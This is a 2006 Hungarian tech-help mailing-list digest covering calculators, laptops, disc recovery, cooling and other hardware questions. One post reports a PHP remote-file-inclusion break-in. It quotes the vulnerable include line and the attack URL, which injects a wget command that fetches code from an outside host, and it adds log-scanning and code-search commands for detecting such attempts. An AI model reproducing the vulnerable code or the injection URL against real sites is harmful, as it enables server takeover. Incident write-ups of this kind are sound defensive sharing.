Thus spake HIX GURU:

> boltban megtalalni). TI nekem sosem jott be. HP-m meg nem volt, de

Melyik TI-t probaltad? Meg kene nezned egy ujabbat.
Pl ezeket: TI89, TI89 Titanium, TI92+, Voyage200
Szerintem ezek jelenleg a vilag legjobb szamologepei, ennel jobbat
nem talalsz. Futott meg a HP48/HP49, azok sem rosszak.
Mast ne is keressel, itt van egy szakadek, az osszes tobbi letezo
szamologep nagysagrendekkel benabb.
Nekem is volt mindenfele gagyi Casio meg Sharp, sot egy Casio fx-31
most is van, de ezt csak a zolden vilagito VFD kijelzo miatt tartottam
meg :)
Az elso korrekt gepem egy HP48G volt, sokaig hasznaltam, nagyon szerettem.
Jelenleg egy TI89 van. En leginkabb ezt ajanlanam, esetleg a Titanium-ot.
A QWERTY billentyuzetes tipusoktol ideggorcsot kapnak a tanarok a vizsgakon,
es szamologepbol praktikusabb is a hagyomanyos.
En 30k korul vettem, gondolom most olcsobb, kulonosen hasznaltan.
TI92-t semmikeppen se vegyel, csak a + verziot, mert a simaban nem lehet
upgradelni a progit, es a regiek meg eleg hibasak.

Szarka Peternek koszonom a Jornada-s segitseget.
Nem olyan remenytelen a helyzet, majd megirom a fejlemenyeket :)

> Gyula

--
Valenta Ferenc <vf at elte.hu>   Volcano - Mentor Graphics - MES
"Billy, most mar kikapcsolhatom a szamitogepem?"

Thus spake HIX GURU:

> A gond az, hogy ha jol olvasom a leirast a weben, csak egy sima modem-et
> kuldtek neki, tehat nem modem+router-t. Viszont a szamitogepe egy olyan
> Win98 laptop, amihez nincs CD olvaso, tehat helyben nem lehet semmit
> felrakni ra - a leiras meg PPPoE-rol beszel.

A PPPOE elfer egy floppyn is szerintem, nehany 100k az egesz.
Nem kell CD. De szerintem erdemes venni routert, par ezres az egesz.

> Jozsi.

--
Valenta Ferenc <vf at elte.hu>   Volcano - Mentor Graphics - MES
"Adjatok nekem eleg nagy stacket, es kiforditom a kernelt a 4 sarkabol!"

>
> a) Ha lehet valahogy sorrendet felállítani, mi a
> márkák közötti megbízhatósági sorrend, magyarán
> ha az ártól eltekintünk, átlagos otthoni
> használatra melyiket lehet megbízhatónak
> tekinteni s vásárlásra ajánlani: Acer, Asus,
> Dell, Fujitsu-Siemens, Hp, IBM, Sony, Toshiba
>
Dell, IBM, ASUS, LG, Acer, Albacomp, Toshiba,  HP, Fuji

Az első 6-ból végülis az ár/teljesítmény határozza meg, hogy mit veszel,
az Albacomp gépeit - ha jó helyen veszed- úgy álíttatod össze, ahogy
szeretnéd, a többinek viszonylag jó a típusválasztéka. A HP-nek és a
Thosibának a kritikán aluli, és drága szervizelése miatt nem javaslom (a
többi garancián túli szervize is horror ár, de legalább normális)

> b) Adott egy asztali konfig: AMD Sempron 3000+
> proci, 512 400 MHz memória, 80 GB 7200 rpm 8M
> cache merevlemez. Kb. milyen paraméterekkel
> rendelkező laptop nyújt hasonló vagy hasonló érzetűteljesítményt.
>
Egy 3000+ mobilsemptronos, vagy kb 2,5-2,6 mobilathlonos masina.


> A kérdés alapja, hogy laptop vagy asztali masina.
> li

Én mindenképp asztalit vennék, azt könnyebb -és olcsóbb- bővítani, új
egységeket beletenni (nagyobb HDD, Ram, meghalt DVD-írót kicserélni
-főleg a gar lejárta után gáz a laptopnál-) javítani.
egy 17-vagy 19" LCD-monitorral. nem foglal sokkal több helyet mint a
laptop - csak nem eltehető, nem hordozható.

-Ha fontos a hordozhatság akkor laptop, ha nem akkor asztali, ha
hordozhatóan nem kell akkora teljesítmény (pl. úton csak Word, Excel...
van használva akkor az asztali otthonra, és egy PIII 1000- körüli
Használt Notebook hordozásra. (ezkre is szokott fél év gari lenni,
viszont 100e körül megúszható, az asztali gép meg 200e ből igen jó
teljesítményű, igazán erős laptopot meg 300e fölött kapsz.)

-Nekem van egy Athlon 3,2 asztali gépem, meg egy kisebb Celeronos
laptopom, ha kell, hálózaton összeköthető, az adatok cserélhetők. A
laptopon mindíg csak a szükséges adatok vannak amik az aktuális
munkákhoz kellenek.

-Összefoglalva : neked kell dönteni az igényeid, a pénztárcád, a
használat jellege, -és még ezer más szempont alapján.

Tamás

Sziasztok!

A GURU 4094-ban irta :

>>Ha semmi sem segit, probald ki az IsoBuster programot. Neha csodakra
>>kepes :-)

>Itt nem, Win98 alatt nem latja a DVD tobbi session-et, esetleg egy
>Track02-t, de nem latod a fajlokat...
>Egyebkent CD/DVD hibas fajl leszedes ugyeben sem igazan segit,
>probalkozik, de nem sok sikerrel. Inkabb arra jo, hogy a regebbi
>sessionoket meg tudod nezni akkor is, ha toroltek, vagy egy regebbit
>folytattak. Ja, es pl. o jol olvassa a CDtext-et, az elso fajloknal is,
>ellentetben az egyebkent nagyszeru CDEx-el.
>Hibas CD/DVD-rol valo adatmentesre kiraly program a CDCheck, es meg
>ingyenes is.
>
>Udv
>Inhouse

Kedves Inhouse, nem akarok vitaba szallni veled, mert a tenyek makacs
dolgok :-) Kulon a Te kedvedert (hogy ujra leteszteljem, mert en nem
szoktam multisession lemezeket irni) Win98SE alatt csinaltam Nero
6.3-mal egy multisession (tobbmenetes) DVD lemezt (DVD-ROM ISO). Mindket
session (menet) egy-egy DivX filmet tartalmaz felirattal. Eloszor le sem
zartam, es Win98SE alatt vigan olvashato mindket session, meg az
IsoBuster sem kellett hozza (de persze az is latja)! Az igazsaghoz
hozzatartozik, hogy telepitve van a 98-ra az Adaptec ASPI 4.71, ami
egyebkent ingyenes, barki altal letoltheto. Lehet, hogy ez az oka, hogy
minden kunszt nelkul latja es olvassa mindket session-t?

Meg anno Win95-os idokben jartam ugy a Sanyo CD olvasommal, hogy nem
latta a teljes multisession lemezt. Ekkor egy kollegam javasolta az
IsoBuster-t. Meg is oldotta a problemat, le tudtam menteni a fajlokat.

Az IsoBuster nekem mar nem egyszer segitett hibas lemezek adatainak
lementeseben is, amikor siman mar olvashatatlan(ok) volt(ak) a lemezen
levo szukseges fajl(ok)! Csak megjegyzem, hogy vedett lemezek biztonsagi
masolatanak elkeszitesekor jo alternativa. Ha pl. serult DVD-Video
lemezt kell megmenteni, amin a DVDDecrypter, SmartRipper stb megfekszik,
akkor az IsoBuster-rel meg komoly esely van a film megmentesere. Kb 1
honapja mentettem le az asszony kolcsonadott es sajnos megkarcolt
Calynetics torna lemezet, mert mar elakadt lejatszaskor. Nem tudtam mar
DVDDecrypter-rel sem lementeni. Hat orat gorcsolt rajta, de nem vegzett.
Az IsoBuster kb fel ora alatt leszedte az anyagot, majd visszairtam
DVD-re. Eszre sem lehet venni, hogy hol volt a hiba. Igaz, a video anyag
hibaturese nagysagrendekkel nagyobb az egyeb adatokhoz kepest! Az is
igaz, hogy a mar nem letezo adatok visszaallitasara azert az IsoBuster
sem kepes :-) A masik ilyen "csoda" program a BlintWriteSuite, ami
hasonloan jo hatasfokkal tudja menteni a hibas de meg mentheto
lemezeket. Reszemrol a tema lezarva, nem akarom bizonygatni az igazamat.
Mindenki kiprobalhatja sajat maga, es vonja le a konzekvenciat.

Udvozlettel  Farkas Janos         2006.05.15.

Ui.: Ment maganba is

Nehany orat veszitve, es nehany osz hajszalat nyerve sikerult megtalalnom a
modszert. Volt egy PHP script, amiben volt egy

include $_REQUEST[file].'.php';

sor. Ez meghivtak ugy, hogy

http://en.cimem/subdir/index.php?file=http://www.comdb.net/tool25.dat?&cmd=c
d%20/tmp;wget%20http://www.necrom.org/125.txt

A tobbit el lehet kepzelni - teleraktak olasz nyelvu letoltheto filmekkel a
gepem. :-(

Erdemes lefuttatni ezt a sajat gepeteken/accountotokon, ez megmutatja, hogy
probalkoznak-e:

cat access_log | perl -ane 'if ($F[6]=~ /\?\w+=http:/i) {print "$F[6]\n"}'

Nekem tobb szaz probalkozast mutatott kulonfele scriptekre celozva, de csak
az az egy volt hibas, es az is csak egyetlen gepen, ugyhogy a tobbirol
lepattantak.

A "gyanus" scripteket, amelyeket celszeru atnezni, igy lehet megtalalni:

find / -name '*.php' -exec egrep -l '(include|require(_once)?)[\s\(\"]+\$' {} \;

Udv,
Jozsi.

Udv GURUk!

Nemreg volt szo a WinSCP-rol, ha jol emlekszem... :)

Az a gondom lenne, hogy WinSCP-vel erek el egy tavoli szervert,
es volt egy regebbi verziom a WinSCP programbol, amely remekul mukodott.
Aztan egyszer nem fogadta el a jelszavamat a szerver, legalabb is a 
hibauzenet szerint.
Feltettem a legujabb verziot, es erdekes modon, mindenfele valtoztatas 
nelkul
be tudtam lepni, csak a RESUME vagyis a megszakadt letoltesek folytatasa nem 
megy,
ami meg addig remekul mukodott... :( Igy van ez a legeslegfrissebb verzioval 
is.

Lehet valami WinSCP-s beallitasi gond, vagy a szerver beallitasai valtoztak 
meg?
En nem tudok valami be- vagy elallitasrol?

Ja, es mindez Windows XP SP2 HUN alatt.

Elore is koszi a segítseget, udv:

Norbi

>Hali!
>Video memóriád mennyi? Megpróbálnád többel, esetleg másik VGA?
>Vagy (és) visszavenni a képi megjelenítések csicsáit a
Sajátgép -Tulajdonságok-Speciális-ban

A video memória 32MB, mással sajna nem tudom kipróbálni.
Próbáltam a megjelenítést is piszkálni, de eredményt nem értem el.

Viszont most frissen inditott géppel 55 ablak volt nyithato.
Tok erdekes volt, hogy az epp igy leterhelt gepnel nem jelentek meg a menüponto
k, pl nem volt Sajátgép -Tulajdonságok-Speciális sem


--
Üdv.:
Pepa

Kedves Guruk!

Egy irodába kell fénymásolót beszerezni, a legfontosabb szempont
az olcsó müködési költség és az alacsony vételár volt. 
Az elsö ötlet az volt, hogy ne vegyenek, hanem béreljenek, de
kiderült, hogy rendkivül egyenlötlen terhelésre kell számitani,
azaz hónapokig semmilyen másolásra nincs szükség, mig az év
2-3 hónapjában esetleg több ezer oldalt kell másolni. Mivel a
bérlés feltétele havi minimális összeg fizetése, igy ez kiesett,
hiszen a maximális terhelésre kell méretezni a készüléket.

A használat döntö többségében A4-es oldalra vonatkozik, de
idönként kell kicsinyiteni és nagyitani, igy jött a következö
vitás pont, hogy a csak A4-es papirra másoló készülék
elegendö-e,
vagy A3-asat kell venni.

Azután jött az újabb ötlet, hogy a "régi" fénymásolók túlságosan
drágán üzemeltethetöek, sokkal olcsóbbak az "új" tipusok, ahol
már nem festékport használnak, hanem, mint a lézernyomtatónál,
finom port. (?? ez nekem új információ)

Erre jött az újabb változat, hogy a legegyszerübb lenne egy
"multifunkcionális" készüléket beszerezni, ami szkenner és
lézernyomtató, igy a fénymásolás az a lézernyomtatással
müködik, ami állitólag a legolcsóbb másolási költséget jelenti.

Most úgy döntöttem, hogy a segitségeteket kérem, mert már
zsong a fejem, szóval, szerintetek mi a legolcsóbb müködési
költségü készülék, ami esetenként birja a strapát is?

Kun Pál

Idönként nagyon hasznos tiznél tovább számolni.
Ezért is nem célszerü zoknit hordani!

Udv  guruk!

Valamilyen veletlen folytan sikeresen elbarmoltam a google elereset.
Most igy a gmail webes feluletehez sem ferhetek hozza. Ugy emlekszem, hogy
talan a guru-n volt teriteken a visszaallitasa. Egyebkent az a sanda gyanum,
hogy a yahoo messenger lotte el a dolgot. Meg annyit, hogy mar megnyitottam,
a hix lapot, lattam, hogy atepites alatt van, de ettol fuggetlenul, ha
probalok gorgetni benne 100-bol 100x lefagyok.
Igy -google, -gmail, -hix.
Ad-Aware, Spyboot stb. futtatva, sutik torolve, cache is... es
mintha olyasmire emlekeznek, hogy regisztry buheracioval jon rendbe a dolog.
Kerek barkit, aki latja a hix-et, vagy tudja a megoldast ne
kimeljen, s ha megteheti surgossegi eljarassal kuljon maganba is levelet,
mert hamarabb elmulnak az agyverzeses tuneteim. ;-)

Halam es koszonetem elore is.

Udv,
baramisati

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
>Felado : 
>Temakor: re: re: re: re: re: 5.1-es hangfal ( 14 sor )
>Idopont: Sat May 13 23:13:24 CEST 2006 GURU #4095

>Hello,

>Torok Istvan irta:
>>Csak azert kerdem, mert soha nem probaltam, de az
>>Agymenesem szerint azoknak akkor is MIC, LINE OUT,
>>stb.-nek kell maradni, miutan atallitottad a hatso
>>kimeneteket 5.1-re.

>A manual azt irja, hogy (es tenyleg igy muxik):
>Audio         2,        4          or 6-channel configuration:
>Light blue:  Line In;  Line In;    Bass/Center
>Lime:        Line Out; Front spk.; Front spk.
>Pink:        Mic In;   Rear spk.;  Rear spk.

OK, OK. De ez nem valasz a kerdesemre.
Az alaplapi tuskesornak nincs szine, ezek itt fent pedig
a hatra kivezetett aljzatokat jelentik.

Ami a mikrofont illeti, a hetvegen alkalmam volt kiprobalni,
az alaplapi mikrofon es a hatso mikrofon ket kulon bemenet,
de egyszerre csak az egyiket lehet hasznalni. Az alaplapi a MIC2
es a hangbeallitasoknal be lehet allitani, hogy ott van a mikrofon,
(Azaz: Front Panel) vagy hatul (azaz Rear). 
Csatornaszamtol fuggetlenul is igy mukodik.

Tehat a valasz:
Igen, 6 csatornas uzemmodban is lehet egy mikrofont hasznalni,
az alaplapi kivezetesrol. Ugyanitt nincs kulon LINE IN, de amugy
CD-IN ill. AUX bemenetek vannak. Ezek hasznalhatok LINE IN funkciokra
akkor is, ha a hatso kimenetek 6 csatornas uzemmodban vannak.

--
Török István

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
>Felado : 
>Temakor: Asztali gep vs laptop ( 21 sor )
>Idopont: Sun May 14 21:03:23 CEST 2006 GURU #4096

>Sziasztok!
>
>Két kezdo kérdésem volna laptopokról:
>a) Ha lehet valahogy sorrendet felállítani, mi a 
>márkák közötti megbízhatósági sorrend, magyarán 
>ha az ártól eltekintünk, átlagos otthoni 
>használatra melyiket lehet megbízhatónak 
>tekinteni s vásárlásra ajánlani: Acer, Asus, 
>Dell, Fujitsu-Siemens, Hp, IBM, Sony, Toshiba 
>...., s ami még észreveheto arányszámban jelen van a piacon.

Artol eltekintve baromi egyszeru a kerdes. Mindegyik ceggel
egyeztetsz, hogy helyi megoldast hiba eseten milyen
gyorsan vallal. 4 oran beluli hibaelharitas mar elfogadhato.

Aki nem vallal ilyent, az nem megbizhato.

>b) Adott egy asztali konfig: AMD Sempron 3000+ 
>proci, 512 400 MHz memória, 80 GB 7200 rpm 8M 
>cache merevlemez. Kb. milyen paraméterekkel 
>rendelkezo laptop nyújt hasonló vagy hasonló érzetuteljesítményt.

Nem irtad a monitort. Ha az asztali gepnek CRT monitora van,
az egyertelmuen donto kepminoseg tikinteteben.

Ha az asztali gepnek is ugyanolyan gagyi LCD monitora van,
mint a laptopnak, ugyanakkora meretben, akkor a billyentyuzet
kenyelmessege egyertelmuen az asztali gep mellett all.

Ha a laptophoz is asztali billetyuzetet hasznalsz, akkor
a laptop kisebb merete es hogy hordozhato, az egyertelmuen
a laptop mellett szol.

Ha a laptopot ellopjak, mert konnyen mozgathato, az egyertelmuen
az asztali gep mellett szol.

En utalom a laptopokat, ha valasztani kell, asztalit valasztok.
A baratom el-hal a mobil kutyukert, harom latpopja is van.
Te hogy van ezzel? Azt mar tudod, hogy milyen feladatokat kell
megoldani a geppel?
--
Török István

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
>Felado : 
>Temakor: Re: Socket 478 Intel gyari huto kerdes ( 32 sor )
>Idopont: Fri May 12 06:19:09 CEST 2006 GURU #4094

>> Adott egy subjectbeli, valahol mar szolgalatott teljesitett huto.

>A zajt nem a kikopott csapagy okozza? 

nem, a zajt az okozza, hogy Intel gyari huto, azaz gyarilag zajos.
(tehat, itt a zaj azt jelenti, amennyire a gyari huto zug, ami azert
zavaro, mert egyeb platformokon mar megszoktam a majdnem zajtalan hutoket)

>Keves olaj a lapat-haz resbe segithet a zajt ideiglenesen lecsokkenteni.

En siman leszedem a matricat, igy kozvetlenul a tengelyt lehet olajozni,
Persze, a matricat aztan nem lehet visszateni, de van szuperragados
12 cm szeles TESA celluxfelesegem, amivel potolni lehet, es megfeleloen
tartos, olajallo.

>Esetleg elkoszolodtak a lapatok? 
Azokat en mar szinte kipoliroztam, amint a kezembe kerult...

>A 5-6e/perc fordulaszamu ventillatorok 
>is aranylag csendesek - ujonnan.

Tegyuk hozza, hogy csendes fajtak.

>> Ha leveszem a ragogumit a huto aljarol, javulhat-e a hatasfoka?
>Igen. A  ragogumit minden altalam ismert szerviz ajanlja azonnal
>levenni, 

A gyartok pedig kfejezetten nem ajanljak...
Vegul nem vettem le, mert a gepet surgos volt mar a hetvegen atadni,
igy rajta maradt a ragogumi, vegulis a proci nem melegszik fel
meg 50 fokra sem.

>> Ha leveszem a ragogumit, es nem potolom, le lehet-e rendesen
>> szoritani a blokkot?
>Igen, 
Ok. Ez volt a legnagyobb dilemmam

>KEVES hutopasztaval es nemi tapasztalattal szepen felul a
>procira. NE billegesd, csusztatgasd ide-oda rajta!

OK. szamat sem tudom mar, hogy hany gepet raktam ossze,
de altalaban uj hutokkel dolgoztam amiken a friss ragogumit
mindig rajta hagytam. Az S478-as prociknak altalaban nem art
a billegetes, mert vedosapkajuk van, masfelol nem is lehet
nagyon billegetni, csusztatgatni a hulye foglalat miatt.
De meg nem sarkaztam le a sapkatlan procikat sem soha.
(tudom, ami kesik nem mulik)

>> Csinalt-e mar valaki olyant, hogy a gyari huto ventijet 
>> kiiiktatta, es egy, a haz oldalfalara szerelt 8 cm-s ventivel 
>> fujt a blokkra, fanduct nelkul?

>A markas gepekre jellemzo, hogy valahogy a tapegyseg 
>ventillatoraval hutik a procit, de ezt meg P4-nel nem lattam.

Hat itt a meloban csak markas gepek vannak, a Slot1-tol kezdodoen
mar kulon venti fujja a passziv hutobordat kivulrol, de ezek
akkora darab femek, amit nem kapni akarhol. Az uj 3 Ghz-es Prescott
LGA775-os masinaknak is a tapon kivul ket nagy kiegeszito ventije van,
es passziv procihutoje. Es tok csendesek.

>> Mindent sikerult lehalkitani, csak a nyavalyas procihuto zug,
>> az alaplap Q-Fan tamogatasa mellett is...

>Lehet, hogy nem uszod meg uj huto nelkul... 

Nos, vegul a megrendelo meg volt elegedve, mert tenyleg halkra sikerult.
Most az LG GSA4163-as DVDmeghajto hangja idegesiti, amikor megporgeti
a CD-t. (egyaltaln nem hangos, csak a tul halk gep miatt idegesito)

>Egy tulmeretezett hocsoves huto leszabalyozott fordulatszammal 
>szinte zajtalan - csak az ara meg magas egy kicsit.

En azert barkacsolassal olcsobban is meg szoktam uszni, bar nem
vetem meg a jo gyari megoldasokat is. De ritkan kapni jo cuccot...
(altalab az donti el, mennyit szan ra a megrendelo, amugy a barkacsolast
sem szamitom olcson)

Egyebkent a legtutibb dolog a hardver csomagolasahoz hasznalatos
habszeru folia -vagy mi-, lehetoleg minel vastagabb legyen.
Belul kibelelve a hazat ezzel, ugy, hogy elolrol befele szivjanak
a ventilatorok, hatul pedig kifele fujjanak - nagyon csendes PC-ket
lehet epiteni. Igaz, sokat kell dolgozni, itt-ott ki kell vagni a hazbol,
stb.
--
Török István

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
>Felado : 
>Temakor: re: Multimonitor rendszer ( 3 sor )
>Idopont: Sun May 14 11:19:11 CEST 2006 GURU #4096

>A matrox gyart monitor osztokat. A honap kozepere igerik,hogy kijon az 1
>kimenetrol 3 monitort meghajtani kepes osztoja. En is ilyet tervezek venni.
>http://www.matrox.com/graphics/offhome/gxm.cfm

A 4M Computerbontoban a polcokon tucatnal tobb monitorra van elosztva
a jel. Ugy tudom, sajat gyartasu kutyuvel. De Vilinek szerintem
az kell, hogy minden monitor sajat egyedi kepet mutasson, ne ugyanazt.
Nem tudom, hogy Windows alatt lehet-e egyaltalan ilyent, ugy tudom,
a max. ket megelenito a Windows szuk keresztmetszete.

(Ha a videokartyan mulna, akkor Win95 alatt is mukodott volna a
VGA kartyak ketmonitoros uzemmodja, ugyebar)

--
Török István

Hulye voltam?
Eladtam lassan 2 eves LG GSA4160B meghajtomat, miutan egy olyan 
gepbe kellett iro, amibe igencsak beleillet az elegans szurke 
diszitesevel... Az iroval meg voltam elegedve, miutan megkapta 302 
firmware-jat, egyetlen baja maradt: tul lassan irta a DVD-RAM-ot...

Es... a helyere vettem egy GSA-4167B-t, (DL10 driver). Es... miutan 
megvettem, neztem korul, hogy mi info rola, nem elotte : (((((

Szoval, az LG honlapjan nincs leiras, Magyrorszagon nem is aruljak 
szerintuk az irot, az angol nyelvu oldalakon sincs leiras, csak azokon, 
amelyek nyelvet nem ertem. (szlovak, cseh, torok, stb.)
Vannak viszon forumok, angol nyelvuek. Es ott jot nem olvasni errol az 
irorol, csak panaszokat. Allitoleg nem ir rendesen audio CD-t, ez engem 
nem zavarna, csak adatmentesre kell...

Ha valaki hasznal ilyet, megosztana a velemenyet? 
(En most kezdtem el tesztelni egy CD-RW-vel)

Elso meglepetes: NERO 5- szeria legutolso tagja sem tamogatja...
--
Török István
---